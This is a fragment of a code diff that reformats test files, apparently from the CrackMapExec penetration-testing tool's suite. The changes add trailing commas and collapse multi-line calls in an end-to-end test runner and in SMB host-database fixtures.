line.replace("TARGET_HOST", args.target).replace("USERNAME", f'"{args.username}"').replace("PASSWORD", f'"{args.password}"').replace("KERBEROS ", kerberos) lines.append(line) return lines @@ -51,7 +64,7 @@ def run_e2e_tests(args): "crackmapexec --version", shell=True, stdout=subprocess.PIPE, - stderr=subprocess.STDOUT + stderr=subprocess.STDOUT, ) version = result.communicate()[0].decode().strip() @@ -66,7 +79,7 @@ def run_e2e_tests(args): shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, - stderr=subprocess.STDOUT + stderr=subprocess.STDOUT, ) # pass in a "y" for things that prompt for it (--ndts, etc) text = result.communicate(input=b"y")[0] diff --git a/tests/test_smb_database.py b/tests/test_smb_database.py index 4b8ea917..2fcb5025 100644 --- a/tests/test_smb_database.py +++ b/tests/test_smb_database.py @@ -17,11 +17,7 @@ from sqlalchemy.dialects.sqlite import Insert @pytest.fixture(scope="session") def db_engine(): db_path = os.path.join(WS_PATH, "test/smb.db") - db_engine = create_engine( - f"sqlite:///{db_path}", - isolation_level="AUTOCOMMIT", - future=True - ) + db_engine = create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True) yield db_engine db_engine.dispose() @@ -54,13 +50,8 @@ def db(db_setup): @pytest.fixture(scope="session") def sess(db_engine): - session_factory = sessionmaker( - bind=db_engine, - expire_on_commit=True - ) - Session = scoped_session( - session_factory - ) + session_factory = sessionmaker(bind=db_engine, expire_on_commit=True) + Session = scoped_session(session_factory) sess = Session() yield sess sess.close() @@ -77,7 +68,7 @@ def test_add_host(db): True, True, False, - False + False, ) inserted_host = db.get_hosts() assert len(inserted_host) == 1 @@ -105,7 +96,7 @@ def test_update_host(db, sess): "spooler": True, "zerologon": False, "petitpotam": False, - "dc": False + "dc": False, } iq = Insert(db.HostsTable) sess.execute(iq, [host]) @@ -119,7 +110,7 @@ def test_update_host(db, sess): False, False, False, - False + False, ) inserted_host = db.get_hosts() assert len(inserted_host) == 1